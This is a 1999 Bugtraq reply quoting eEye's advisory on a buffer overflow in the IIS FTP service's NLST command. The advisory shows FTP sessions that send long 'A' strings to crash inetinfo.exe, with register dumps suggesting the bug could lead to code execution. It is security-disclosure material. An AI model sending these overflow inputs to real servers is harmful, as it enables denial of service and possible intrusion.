[9203] in bugtraq
Re: Advisory: IIS FTP Exploit/DoS Attack
daemon@ATHENA.MIT.EDU (mnemonix)
Mon Jan 25 14:24:52 1999
Date: Tue, 26 Jan 1999 00:08:21 -0000
Reply-To: mnemonix <mnemonix@GLOBALNET.CO.UK>
From: mnemonix <mnemonix@GLOBALNET.CO.UK>
X-To: Marc <Marc@EEYE.COM>
To: BUGTRAQ@NETSPACE.ORG
I couldn't repro this on NT 4 Server IIS4 (installed from NT 4 Option pack)
with service Pack 3 - no hotfixes.
Cheers,
Mnemonix
-----Original Message-----
From: Marc <Marc@EEYE.COM>
To: BUGTRAQ@NETSPACE.ORG <BUGTRAQ@NETSPACE.ORG>
Date: Sunday, January 24, 1999 11:30 PM
Subject: Advisory: IIS FTP Exploit/DoS Attack
>________________________________________________________________________
>
>eEye Digital Security Team <e>
>www.eEye.com
>info@eEye.com
>Sunday, January 24, 1999
>________________________________________________________________________
>
>Advisory:
>IIS Remote FTP Exploit/DoS Attack
>
>Systems Tested:
>Windows NT 4.0 (SP4) IIS 3.0 / 4.0
>Windows 95/98 PWS 1.0
>
>Release Date:
>Sunday, January 24, 1999
>
>Advisory Code:
>IISE01
>________________________________________________________________________
>
>Description:
>________________________________________________________________________
>
>While feeding in logic into Retina's artificial intelligence engine,
>which helps construct query strings to pass to internet servers,
>checking for overflow bugs and miss parsing of command strings. Our test
>server stopped responding. Below is our findings.
>
>Microsoft IIS (Internet Information Server) FTP service contains a
>buffer overflow in the NLST command. This could be used to DoS a remote
>machine and in some cases execute code remotely.
>
>Lets look at the following example attack. [Comments are in brackets.]
>
>The server must either have anonymous access rights or an attacker must
>have an account.
>
>C:\>ftp guilt.xyz.com
>Connected to guilt.xyz.com.
>220 GUILT Microsoft FTP Service (Version 4.0).
>User (marc.xyz.com:(none)): ftp
>331 Anonymous access allowed, send identity (e-mail name) as password.
>Password:
>230 Anonymous user logged in.
>
>ftp> ls AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
>
>200 PORT command successful.
>150 Opening ASCII mode data connection for file list.
>[The server has now processed our long NLST request and has crashed]
>-> ftp: get :Connection reset by peer
>[Our ftp client looses connection... that is a given]
>
>The above example uses 316 characters to overflow. This is the smallest
>possible buffer to pass that will overflow IIS. Lets take a look at the
>server side happenings.
>
>On the server side we have an "Application Error" message for
>inetinfo.exe. "The instruction at '0x710f8aa2' referenced memory at
>'0x41414156'. The memory could not be 'read'."
>
>If we take a look at our registers we will see the following:
>
>EAX = 0000005C EBX = 00000001
>ECX = 00D3F978 EDX = 002582DD
>ESI = 00D3F978 EDI = 00000000
>EIP = 710F8AA2 ESP = 00D3F644
>EBP = 00D3F9F0 EFL = 00000206
>
>There is no 41 hex (Our overflow character) in any of our registers so
>we chalk this up as a DoS attack for now.
>
>Lets move on and take a look at the largest string we can pass to
>overflow IIS.
>
>C:\>ftp guilt.xyz.com
>Connected to guilt.xyz.com.
>220 GUILT Microsoft FTP Service (Version 4.0).
>User (marc.xyz.com:(none)): ftp
>331 Anonymous access allowed, send identity (e-mail name) as password.
>Password:
>230 Anonymous user logged in.
>[The server must either have anonymous access rights or an attacker must
>have an account]
>
>ftp> ls AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
>AAAAAAAAA
>
>200 PORT command successful.
>150 Opening ASCII mode data connection for file list.
>Connection closed by remote host.
>
>In this case we passed 505 characters to overflow IIS. This is the
>largest possible (tested) buffer to pass that will overflow IIS. Lets
>take a look once again at the server side.
>
>On the server we have the same "Application Error" message for
>inetinfo.exe except this time "The instruction at '0x722c9262'
>referenced memory at "0x41414141'." This is looking mighty interesting.
>Lets look at our registers once again:
>
>EAX = 00000000 EBX = 41414141
>ECX = 41414141 EDX = 722C1CAC
>ESI = 41414141 EDI = 41414141
>EIP = 722C9262 ESP = 00D3F524
>EBP = 00D3F63C EFL = 00000246
>
>There sure are a lot of 41 hex codes in our registers now. >:-]
>
>So to wrap it all up what we have here is a DoS attack against any IIS
>server with ftp access. Keep in mind we have to be able to login.
>However, Anonymous access is granted on most servers. Once we have
>overflowed IIS all IIS services will fail. (I.E. The web service, NNTP,
>SMTP etc..) What we have seems to be a very interesting buffer overflow.
>
>________________________________________________________________________
>
>Special Thanks
>________________________________________________________________________
>
>The eEye Digital Security Team would like to extend a special thanks to
>Mudge and Dildog.
>
>________________________________________________________________________
>
>Copyright (c) 1999 eEye Digital Security Team
>________________________________________________________________________
>
>Permission is hereby granted for the redistribution of this alert
>electronically. It is not to be edited in any way without express
>consent of eEye. If you wish to reprint the whole or any part of this
>alert in any other medium excluding electronic medium, please e-mail
>alert@eEye.com for permission.
>
>________________________________________________________________________
>
>Disclaimer:
>________________________________________________________________________
>
>The information within this paper may change without notice. Use of this
>information constitutes acceptance for use in an AS IS condition. There
>are NO warranties with regard to this information. In no event shall the
>author be liable for any damages whatsoever arising out of or in
>connection with the use or spread of this information. Any use of this
>information is at the user's own risk.
>
>Please send suggestions, updates, and comments to: alert@eEye.com
>
>eEye Digital Security Team
>http://www.eEye.com
>info@eEye.com
>________________________________________________________________________
>
